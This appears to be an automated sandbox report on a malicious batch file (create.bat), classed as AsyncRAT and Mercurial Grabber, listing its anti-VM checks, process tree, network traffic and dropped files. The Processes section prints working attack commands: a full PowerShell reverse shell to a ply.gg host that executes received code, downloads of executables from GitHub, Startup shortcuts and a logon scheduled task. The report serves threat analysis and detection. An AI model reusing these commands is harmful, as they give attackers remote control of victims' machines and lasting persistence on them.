Malware Analysis Report

2024-11-30 15:47

Sample ID 241122-blb4paxlfn
Target create.bat
SHA256 b79c63a1f5777b977a48085de65f8041d1d6b2d5d569224b0f81b343578f1803
Tags
asyncrat mercurialgrabber default evasion execution rat spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b79c63a1f5777b977a48085de65f8041d1d6b2d5d569224b0f81b343578f1803

Threat Level: Known bad

The file create.bat was found to be: Known bad.

Malicious Activity Summary

asyncrat mercurialgrabber default evasion execution rat spyware stealer

Mercurial Grabber Stealer

AsyncRat

Asyncrat family

Mercurialgrabber family

Looks for VirtualBox Guest Additions in registry

Async RAT payload

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Blocklisted process makes network request

Looks for VMWare Tools registry key

Drops startup file

Reads user/profile data of web browsers

Checks BIOS information in registry

Executes dropped EXE

Checks computer location settings

Looks up external IP address via web service

Maps connected drives based on registry

Enumerates physical storage devices

Checks SCSI registry key(s)

Uses Task Scheduler COM API

Checks processor information in registry

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Scheduled Task/Job: Scheduled Task

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-22 01:13

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-22 01:13

Reported

2024-11-22 01:26

Platform

win10v2004-20241007-en

Max time kernel

750s

Max time network

746s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\create.bat"

Signatures

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

Mercurial Grabber Stealer

stealer mercurialgrabber

Mercurialgrabber family

mercurialgrabber

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions C:\Users\Admin\Desktop\output.exe N/A

Downloads MZ/PE file

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools C:\Users\Admin\Desktop\output.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\output.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\Loader.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\output.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Reads user/profile data of web browsers

spyware stealer

Looks up external IP address via web service

Description Indicator Process Target
N/A ip4.seeip.org N/A N/A
N/A ip-api.com N/A N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\Desktop\output.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S C:\Users\Admin\Desktop\output.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\Desktop\output.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer C:\Users\Admin\Desktop\output.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\output.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\Loader.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\Loader.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4620 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4620 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2136 wrote to memory of 1360 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2136 wrote to memory of 1360 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1360 wrote to memory of 4076 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 4076 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 2104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 2104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 1912 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\output.exe
PID 1360 wrote to memory of 1912 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\output.exe
PID 1360 wrote to memory of 552 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 552 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 1752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1360 wrote to memory of 5024 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\Loader.exe
PID 1360 wrote to memory of 5024 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\Loader.exe
PID 5024 wrote to memory of 2260 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\System32\cmd.exe
PID 5024 wrote to memory of 2260 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\System32\cmd.exe
PID 5024 wrote to memory of 3552 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\system32\cmd.exe
PID 5024 wrote to memory of 3552 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\system32\cmd.exe
PID 2260 wrote to memory of 3604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2260 wrote to memory of 3604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 3552 wrote to memory of 1096 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3552 wrote to memory of 1096 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3552 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\WINDOWS.exe
PID 3552 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\WINDOWS.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\create.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -NoProfile -ExecutionPolicy Bypass -Command "$LHOST = 'radio-ebay.gl.at.ply.gg'; $LPORT = 10404; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) } catch { $_ }; $StreamWriter.Write('$Output`n'); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loader.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"

C:\Users\Admin\Desktop\output.exe

C:\Users\Admin\Desktop\output.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"

C:\Users\Admin\Desktop\Loader.exe

C:\Users\Admin\Desktop\Loader.exe

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEC06.tmp.bat""

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'

C:\Windows\system32\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\WINDOWS.exe

"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 radio-ebay.gl.at.ply.gg udp
US 147.185.221.23:10404 radio-ebay.gl.at.ply.gg tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 23.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.111.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
US 185.199.111.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 ip4.seeip.org udp
GB 20.26.156.215:443 github.com tcp
US 23.128.64.141:443 ip4.seeip.org tcp
US 185.199.111.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discordapp.com udp
US 162.159.134.233:443 discordapp.com tcp
US 162.159.134.233:443 discordapp.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 233.134.159.162.in-addr.arpa udp
US 8.8.8.8:53 178.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 162.159.134.233:443 discordapp.com tcp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp

Files

memory/2136-0-0x00007FF85E3C3000-0x00007FF85E3C5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dl5gmtfk.5kk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2136-10-0x0000029052530000-0x0000029052552000-memory.dmp

memory/2136-11-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/2136-12-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/2136-13-0x00007FF85E3C3000-0x00007FF85E3C5000-memory.dmp

memory/2136-14-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/2136-15-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/2136-17-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Loader.bat

MD5 f3f83ae17a3f81e0265b9ce7e480bd4e
SHA1 994d8d5b533fd09630b45a0d0404f65557e83d5d
SHA256 412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74
SHA512 cc0480e5cf4b8d6ca9318f806587bf121dc8feb553263e4756b43b568cf38d93ce94a467e87878f299d3fdabc66e178c8dafa96e3e5fda51bbfd7a6b4220bf39

memory/4076-21-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/4076-22-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/4076-23-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

memory/4076-36-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 612b19feac3b60bdc771ec888769ea75
SHA1 cc0117dc3f83e139f22d7c9f068a0fa2027fc8fb
SHA256 3eb12f5e02a7aad8764186e1f62d9cebcc8667c854ebf4356fe404f042b84ec1
SHA512 2f56333015641eb11b853a350ca5a01763ab9fd2d572fca51ba2d7df3018546c9667a64ba670e443e0fef5c10879964bfe18084ae0b44e95cb17dcc864ffd4af

C:\Users\Admin\Desktop\output.exe

MD5 a0e598ec98a975405420be1aadaa3c2a
SHA1 d861788839cfb78b5203686334c1104165ea0937
SHA256 e6ac8a6dac77f9873024f50befb293b9cf6347aa2e093cd863b551d9c8da5f8d
SHA512 e5ee500a8dcddd72e727cfa24e51093cd2b088f7ef89089f1d24145baa41c1ac46bf6be73bfd8cb15e2549349da8c2547d4e391b6e3a456621524fe0f83f9585

memory/1912-61-0x0000000000F30000-0x0000000000F40000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3df110e480ee96b0eb33e2a49b6e9c38
SHA1 ab63f7e1cae2e3c353480cf9649ed003f297f02c
SHA256 6e681c03c4803b75a721a4439acf24c12b774dea7c652f6feffe57466e3d056c
SHA512 37287132e7a1cf3ee34d12db777fe1c067f79bc82dda78a9bca31880fa1937a9230d309b7dd04a541c33c8523063c038ef943673bffd36d3e276cc157383fcee

C:\Users\Admin\Desktop\Loader.exe

MD5 7ceb11ebb7a55e33a82bc3b66f554e79
SHA1 8dfd574ad06ded662d92d81b72f14c1914ac45b5
SHA256 aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603
SHA512 d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd

memory/5024-79-0x0000000000AC0000-0x0000000000AD6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpEC06.tmp.bat

MD5 8954a2e315c7d9204581f261242435ad
SHA1 31f6742e7f7da70a2e58ad7e04e735dc84a4e611
SHA256 06a6c2e0d9540f7d5c877da3c74146797940cd40add424e541ddcecf8dfc4b6b
SHA512 87392af42a4264758e95e4645bab5970069b1fa8ccc59a93227faae17de5ee0a0ecca0722ce25281a9ad9464a858da356caf2c0348831eef98a5daa616f3bb4e

memory/2136-85-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp